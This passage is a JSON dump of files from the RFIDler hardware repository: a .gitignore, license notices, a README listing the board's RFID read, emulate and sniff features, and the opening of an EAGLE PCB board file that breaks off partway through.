[
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n\n\n\n# data save files\npython/*.xml\n\n# python build dir\npython/dist\npython/build\npython/RFIDler.egg-info/\n\n# VIM files\n*.swp\n*.swo\n\n# MacOS directory files\n.DS_Store\n\n# python compile\n*.pyc\n__pycache__\n\n# User-specific files\n*.suo\n*.user\n*.sln.docstates\n\n# Build results\n#[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\nx64/\nbuild/\nbld/\n[Bb]in/\n[Oo]bj/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n#NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n*_i.c\n*_p.c\n*_i.h\n*.ilk\n*.meta\n*.obj\n*.pch\n*.pdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opensdf\n*.sdf\n*.cachefile\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding addin-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# NCrunch\n*.ncrunch*\n_NCrunch_*\n.*crunch*.local.xml\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n\n# NuGet Packages Directory\npackages/\n## TODO: If the tool you use requires repositories.config uncomment the next line\n#!packages/repositories.config\n\n# Enable \"build/\" folder in the NuGet Packages folder since NuGet packages use it for MSBuild targets\n# This line needs to be after the ignore of the build folder (and the packages folder if the line above has been uncommented)\n!packages/build/\n\n# Windows Azure Build Output\ncsx/\n*.build.csdef\n\n# Windows Store app package directory\nAppPackages/\n\n# Others\nsql/\n*.Cache\nClientBin/\n[Ss]tyle[Cc]op.*\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.pfx\n*.publishsettings\nnode_modules/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file to a newer\n# Visual Studio version. Backup files are not needed, because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\n\n# SQL Server files\n*.mdf\n*.ldf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n\n# Microsoft Fakes\nFakesAssemblies/\n*.bak\n"
  },
  {
    "path": "COPYING",
    "content": "RFIDler is (C) 2013-2014 Aperture Labs Ltd.\n\nThe different contributions to RFIDler are collected here but licensed differently.\n\nRfidler firmware is licensed under a similar license to NMAP, as described here:\nhttps://github.com/ApertureLabsLtd/RFIDler/RFIDler/firmware/COPYING\n\nRfidler hardware design is licensed under the Creative Commons\nAttribution-NonCommercial-ShareAlike 4.0 International License as described here:\nhttps://github.com/ApertureLabsLtd/RFIDler/RFIDler/hardware/Pic32/COPYING.txt\n\nWindows tools for RFIDler are licensed under the 'BSD 2-Clause License', as described here:\nhttps://github.com/ApertureLabsLtd/RFIDler/RFIDler/windows-src/COPYING.txt\n\n\nIf you are interested in commercial licencing of this work please contact sales at aperturelabs.com.\n\n\n"
  },
  {
    "path": "Hardware/Pic32/COPYING.txt",
    "content": "\r\nRFIDler is (C) 2013-2014 Aperture Labs Ltd. \r\n  \r\nThis work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. \r\nTo view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/\r\nIf you are interested in commercial licencing of this work please contact sales at aperturelabs.com."
  },
  {
    "path": "Hardware/Pic32/README.txt",
    "content": "Rfidler Beta V22 By Zac Franken For Aperture Labs Ltd\r\n\r\nThese files are licenced under the creative commons licence See the seperate COPYING file\r\n\r\nSome of the analog portion of RFIDler comes from a design by edude: http://playground.arduino.cc/Main/DIYRFIDReader#.Uz8tg1cmBaT\r\nwhich is based on a schematic by Micah Dowty: http://scanlime.org/2008/08/simplest-rfid-reader\r\n\r\n\r\nRfidler Hardware Features:\r\n\r\nDetection and decoding of ASK, FSK, and PSK RFID Low frequency tags ~125KHz\r\n\r\nEmulation of ASK, FSK, and PSK RFID Low frequency tags\r\n\r\nSniffing of ASK, FSK, and PSK RFID Low frequency tags\r\n\r\nAdjustment of comparator thresholds via a digital pot via software, a trim pot and a fixed value resistor voltage divider.\r\n\r\nSD card interface\r\n\r\nIntegrated Chip Card interface\r\n\r\nRelay driver\r\n\r\nUSB interface\r\n\r\nSerial interface\r\n\r\nWiegand interfaces\r\n\r\nUser LED\r\n\r\nUser button\r\n\r\nand an as yet untested LC (Inductance and Capacitance) meter circuit (Still in development) for testing the inductance of your own coils.\r\n\r\n\r\n\r\n\r\nThere is more to come here, but I wanted to get the schematics up as soon as I could.\r\n\r\nZac\r\n"
  },
  {
    "path": "Hardware/Pic32/RFIDLER V22 beta.brd",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<!DOCTYPE eagle SYSTEM \"eagle.dtd\">\n<eagle version=\"6.5.0\">\n<drawing>\n<settings>\n<setting alwaysvectorfont=\"yes\"/>\n<setting verticaltext=\"up\"/>\n</settings>\n<grid distance=\"0.1\" unitdist=\"mm\" unit=\"mm\" style=\"lines\" multiple=\"10\" display=\"yes\" altdistance=\"0.01\" altunitdist=\"mm\" altunit=\"mm\"/>\n<layers>\n<layer number=\"1\" name=\"Top\" color=\"4\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"2\" name=\"Route2\" color=\"1\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"3\" name=\"Route3\" color=\"4\" fill=\"3\" visible=\"no\" active=\"no\"/>\n<layer number=\"4\" name=\"Route4\" color=\"1\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"5\" name=\"Route5\" color=\"4\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"6\" name=\"Route6\" color=\"1\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"7\" name=\"Route7\" color=\"4\" fill=\"8\" visible=\"no\" active=\"no\"/>\n<layer number=\"8\" name=\"Route8\" color=\"1\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"9\" name=\"Route9\" color=\"4\" fill=\"2\" visible=\"no\" active=\"no\"/>\n<layer number=\"10\" name=\"Route10\" color=\"1\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"11\" name=\"Route11\" color=\"4\" fill=\"7\" visible=\"no\" active=\"no\"/>\n<layer number=\"12\" name=\"Route12\" color=\"1\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"13\" name=\"Route13\" color=\"4\" fill=\"5\" visible=\"no\" active=\"no\"/>\n<layer number=\"14\" name=\"Route14\" color=\"1\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"15\" name=\"Route15\" color=\"4\" fill=\"6\" visible=\"no\" active=\"no\"/>\n<layer number=\"16\" name=\"Bottom\" color=\"1\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"17\" name=\"Pads\" color=\"2\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"18\" name=\"Vias\" color=\"2\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"19\" name=\"Unrouted\" color=\"6\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"20\" name=\"Dimension\" color=\"15\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"21\" name=\"tPlace\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"22\" name=\"bPlace\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"23\" name=\"tOrigins\" color=\"15\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"24\" name=\"bOrigins\" color=\"15\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"25\" name=\"tNames\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"26\" name=\"bNames\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"27\" name=\"tValues\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"28\" name=\"bValues\" color=\"7\" fill=\"1\" visible=\"yes\" active=\"yes\"/>\n<layer number=\"29\" name=\"tStop\" color=\"7\" fill=\"3\" visible=\"no\" active=\"yes\"/>\n<layer number=\"30\" name=\"bStop\" color=\"7\" fill=\"6\" visible=\"no\" active=\"yes\"/>\n<layer number=\"31\" name=\"tCream\" color=\"7\" fill=\"4\" visible=\"no\" active=\"yes\"/>\n<layer number=\"32\" name=\"bCream\" color=\"7\" fill=\"5\" visible=\"no\" active=\"yes\"/>\n<layer number=\"33\" name=\"tFinish\" color=\"6\" fill=\"3\" visible=\"no\" active=\"yes\"/>\n<layer number=\"34\" name=\"bFinish\" color=\"6\" fill=\"6\" visible=\"no\" active=\"yes\"/>\n<layer number=\"35\" name=\"tGlue\" color=\"7\" fill=\"4\" visible=\"no\" active=\"yes\"/>\n<layer number=\"36\" name=\"bGlue\" color=\"7\" fill=\"5\" visible=\"no\" active=\"yes\"/>\n<layer number=\"37\" name=\"tTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"38\" name=\"bTest\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"39\" name=\"tKeepout\" color=\"4\" fill=\"11\" visible=\"no\" active=\"yes\"/>\n<layer number=\"40\" name=\"bKeepout\" color=\"1\" fill=\"11\" visible=\"no\" active=\"yes\"/>\n<layer number=\"41\" name=\"tRestrict\" color=\"4\" fill=\"10\" visible=\"no\" active=\"yes\"/>\n<layer number=\"42\" name=\"bRestrict\" color=\"1\" fill=\"10\" visible=\"no\" active=\"yes\"/>\n<layer number=\"43\" name=\"vRestrict\" color=\"2\" fill=\"10\" visible=\"no\" active=\"yes\"/>\n<layer number=\"44\" name=\"Drills\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"45\" name=\"Holes\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"46\" name=\"Milling\" color=\"3\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"47\" name=\"Measures\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"48\" name=\"Document\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"49\" name=\"Reference\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"50\" name=\"dxf\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"51\" name=\"tDocu\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"52\" name=\"bDocu\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"53\" name=\"tGND_GNDA\" color=\"7\" fill=\"9\" visible=\"no\" active=\"yes\"/>\n<layer number=\"54\" name=\"bGND_GNDA\" color=\"1\" fill=\"9\" visible=\"no\" active=\"yes\"/>\n<layer number=\"56\" name=\"wert\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"57\" name=\"tCAD\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"91\" name=\"Nets\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"92\" name=\"Busses\" color=\"1\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"93\" name=\"Pins\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"94\" name=\"Symbols\" color=\"4\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"95\" name=\"Names\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"96\" name=\"Values\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"97\" name=\"Info\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"98\" name=\"Guide\" color=\"6\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"100\" name=\"Muster\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"101\" name=\"Patch_Top\" color=\"12\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"102\" name=\"Vscore\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"103\" name=\"tMap\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"104\" name=\"Name\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"105\" name=\"tPlate\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"106\" name=\"bPlate\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"107\" name=\"Crop\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"108\" name=\"tplace-old\" color=\"10\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"109\" name=\"ref-old\" color=\"11\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"110\" name=\"fp0\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"111\" name=\"LPC17xx\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"112\" name=\"tSilk\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"116\" name=\"Patch_BOT\" color=\"9\" fill=\"4\" visible=\"no\" active=\"no\"/>\n<layer number=\"121\" name=\"_tsilk\" color=\"14\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"122\" name=\"_bsilk\" color=\"14\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"123\" name=\"tTestmark\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"124\" name=\"bTestmark\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"125\" name=\"_tNames\" color=\"14\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"126\" name=\"_bNames\" color=\"5\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"127\" name=\"_tValues\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"128\" name=\"_bValues\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"131\" name=\"tAdjust\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"132\" name=\"bAdjust\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"144\" name=\"Drill_legend\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"150\" name=\"Notes\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"151\" name=\"HeatSink\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"152\" name=\"_bDocu\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"153\" name=\"FabDoc1\" color=\"6\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"154\" name=\"FabDoc2\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"155\" name=\"FabDoc3\" color=\"7\" fill=\"15\" visible=\"no\" active=\"no\"/>\n<layer number=\"199\" name=\"Contour\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"200\" name=\"200bmp\" color=\"1\" fill=\"10\" visible=\"no\" active=\"no\"/>\n<layer number=\"201\" name=\"201bmp\" color=\"2\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"202\" name=\"202bmp\" color=\"3\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"203\" name=\"203bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"204\" name=\"204bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"205\" name=\"205bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"206\" name=\"206bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"207\" name=\"207bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"208\" name=\"208bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"209\" name=\"209bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"210\" name=\"210bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"211\" name=\"211bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"212\" name=\"212bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"213\" name=\"213bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"214\" name=\"214bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"215\" name=\"215bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"216\" name=\"216bmp\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"217\" name=\"217bmp\" color=\"18\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"218\" name=\"218bmp\" color=\"19\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"219\" name=\"219bmp\" color=\"20\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"220\" name=\"220bmp\" color=\"21\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"221\" name=\"221bmp\" color=\"22\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"222\" name=\"222bmp\" color=\"23\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"223\" name=\"223bmp\" color=\"24\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"224\" name=\"224bmp\" color=\"25\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"248\" name=\"Housing\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"249\" name=\"Edge\" color=\"7\" fill=\"1\" visible=\"no\" active=\"yes\"/>\n<layer number=\"250\" name=\"Descript\" color=\"3\" fill=\"1\" visible=\"no\" active=\"no\"/>\n<layer number=\"251\" name=\"SMDround\" color=\"12\" fill=\"11\" visible=\"no\" active=\"no\"/>\n<layer number=\"254\" name=\"cooling\" color=\"7\" fill=\"1\" visible=\"no\" active=\"no\"/>\n</layers>\n<board>\n<plain>\n<wire x1=\"0\" y1=\"75\" x2=\"112\" y2=\"75\" width=\"0\" layer=\"20\"/>\n<wire x1=\"112\" y1=\"75\" x2=\"112\" y2=\"0\" width=\"0\" layer=\"20\"/>\n<wire x1=\"112\" y1=\"0\" x2=\"0\" y2=\"0\" width=\"0\" layer=\"20\"/>\n<wire x1=\"0\" y1=\"0\" x2=\"0\" y2=\"75\" width=\"0\" layer=\"20\"/>\n<text x=\"77.3\" y=\"15.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">RFIDLER V22 BETA (c) 2014\nAperture Labs Ltd</text>\n<text x=\"7.9\" y=\"31.2\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\">RC4</text>\n<text x=\"10.2\" y=\"31.2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG6</text>\n<text x=\"45.2\" y=\"3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">T F E</text>\n<text x=\"73\" y=\"3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">T F E</text>\n<text x=\"55.7\" y=\"0.4\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">T</text>\n<text x=\"47.5\" y=\"11.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">F</text>\n<text x=\"77.4\" y=\"11.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">F</text>\n<text x=\"64.9\" y=\"21.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">E</text>\n<text x=\"74.7\" y=\"21.4\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">E</text>\n<text x=\"63\" y=\"0.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\">T</text>\n<text x=\"13\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG7</text>\n<text x=\"15.6\" y=\"31.2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG8</text>\n<text x=\"20.6\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG9</text>\n<text x=\"23\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA0</text>\n<text x=\"25.6\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE8</text>\n<text x=\"28.2\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE9</text>\n<text x=\"30.7\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB5</text>\n<text x=\"33.2\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB4</text>\n<text x=\"35.8\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB3</text>\n<text x=\"38.3\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA9</text>\n<text x=\"40.9\" y=\"30.4\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA10</text>\n<text x=\"43.3\" y=\"31.2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB8</text>\n<text x=\"45.9\" y=\"31.2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB9</text>\n<text x=\"48.5\" y=\"30.6\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB10</text>\n<text x=\"51.1\" y=\"30.6\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB11</text>\n<text x=\"53.5\" y=\"31.2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA1</text>\n<text x=\"53.5\" y=\"31.2\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA1</text>\n<text x=\"56.1\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF13</text>\n<text x=\"58.6\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF12</text>\n<text x=\"61.2\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB12</text>\n<text x=\"63.8\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB13</text>\n<text x=\"66.3\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB14</text>\n<text x=\"68.9\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RB15</text>\n<text x=\"71.3\" y=\"30.6\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD14</text>\n<text x=\"73.9\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RD15</text>\n<text x=\"76.4\" y=\"31.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF4</text>\n<text x=\"79\" y=\"31\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF5</text>\n<text x=\"81.6\" y=\"30.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF2</text>\n<text x=\"84.1\" y=\"31.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RF8</text>\n<text x=\"86.6\" y=\"31.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA2</text>\n<text x=\"89.1\" y=\"31.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA3</text>\n<text x=\"91.6\" y=\"31.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA4</text>\n<text x=\"94.1\" y=\"31\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA5</text>\n<text x=\"96.7\" y=\"30.5\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA14</text>\n<text x=\"99.3\" y=\"30.4\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RA15</text>\n<text x=\"101.9\" y=\"30.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">3V3</text>\n<text x=\"104.4\" y=\"31.3\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">5V</text>\n<text x=\"104.1\" y=\"72.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">5V</text>\n<text x=\"106.9\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">GND</text>\n<text x=\"101.9\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">3V3</text>\n<text x=\"8\" y=\"72.1\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RC3</text>\n<text x=\"10.3\" y=\"72\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RC2</text>\n<text x=\"12.9\" y=\"72\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RC1</text>\n<text x=\"15.4\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE7</text>\n<text x=\"17.9\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE6</text>\n<text x=\"20.5\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE5</text>\n<text x=\"23\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG15</text>\n<text x=\"25.6\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE4</text>\n<text x=\"28.2\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE3</text>\n<text x=\"30.8\" y=\"72\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE2</text>\n<text x=\"33.2\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG13</text>\n<text x=\"35.8\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG12</text>\n<text x=\"38.3\" y=\"71.8\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RG14</text>\n<text x=\"40.7\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE1</text>\n<text x=\"43.4\" y=\"71.9\" size=\"0.8128\" layer=\"21\" font=\"vector\" ratio=\"15\" rot=\"R90\">RE0</text>\n<text x=\"45.9\" y=\"72\" size=\"0.8128\" layer=\"21\" 